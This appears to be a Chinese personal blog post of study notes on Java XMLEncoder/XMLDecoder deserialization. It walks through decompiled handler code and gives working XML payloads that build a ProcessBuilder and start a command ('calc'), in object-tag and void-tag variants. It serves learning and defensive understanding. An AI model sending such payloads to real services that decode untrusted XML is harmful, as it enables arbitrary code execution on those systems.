前言

Apex打爽了,该偶尔学点东西了,就先摸个鱼吧。


XMLEncoder

新建个项目,写个简单的测试类,看起来需要这个类有一个public的无参构造函数:

package org.example;

public class Test {
    private String s;

    public Test() {
        this("");
    }

    public Test(String s) {
        this.s = s;
    }

    public String getS() {
        return this.s;
    }

    public void setS(String s) {
        this.s = s;
    }

    @Override
    public String toString() {
        return "Test{" +
                "s='" + s + '\'' +
                '}';
    }
}

然后XMLEncode一下:

XMLEncoder e = new XMLEncoder(new BufferedOutputStream(new FileOutputStream("result.xml")));
e.writeObject(new Test("Hello,xml"));
e.close();

结果:

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_281" class="java.beans.XMLDecoder">
 <object class="org.example.Test">
  <void property="s">
   <string>Hello,xml</string>
  </void>
 </object>
</java>

看起来java标签代表版本,里面保存了反序列化时使用的类;object标签保存了序列化的类名;void保存了成员数据。

XMLDecoder

尝试一下反序列化:

XMLDecoder d = new XMLDecoder(new BufferedInputStream(new FileInputStream("result.xml")));
Object result = d.readObject();
System.out.println(result);
d.close();

结果:

Test{s='Hello,xml'}

去XMLDecoder的readObject函数看看,可以找到object标签解析器ObjectElementHandler和void标签解析器VoidElementHandler,其中ObjectElementHandler的处理函数addAttribute如下:

public final void addAttribute(String var1, String var2) {
    if (var1.equals("idref")) {
        this.idref = var2;
    } else if (var1.equals("field")) {
        this.field = var2;
    } else if (var1.equals("index")) {
        this.index = Integer.valueOf(var2);
        this.addArgument(this.index);
    } else if (var1.equals("property")) {
        this.property = var2;
    } else if (var1.equals("method")) {
        this.method = var2;
    } else {
        super.addAttribute(var1, var2);
    }

}

这里有一个很有意思的属性method,看起来可以用来调用任意函数:

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_281" class="java.beans.XMLDecoder">
    <object class="java.lang.ProcessBuilder">
        <array class="java.lang.String" length="1">
            <void index="0">
                <string>calc</string>
            </void>
        </array>
        <object method="start"/>
    </object>
</java>

虽然没有标明命令所应该归属的属性名,但是XMLDecoder会执行默认的new操作,从而将其交予了ProcessBuilder对象的command属性:

var4 = this.method != null && 0 < this.method.length() ? this.method : "new";

此外,VoidElementHandler是ObjectElementHandler的子类,所以void标签可以用来替代object标签:

final class VoidElementHandler extends ObjectElementHandler {
    VoidElementHandler() {
    }

    protected boolean isArgument() {
        return false;
    }
}

也就是说:

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_281" class="java.beans.XMLDecoder">
    <void class="java.lang.ProcessBuilder">
        <array class="java.lang.String" length="1">
            <void index="0">
                <string>calc</string>
            </void>
        </array>
        <void method="start"/>
    </void>
</java>

这样也是可以的。

array和new标签还可以代替class标签来创建对象。


参考文章

https://xz.aliyun.com/t/8465


Web Java 反序列化 XMLDecoder

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

shiro入门
chrome issue 716044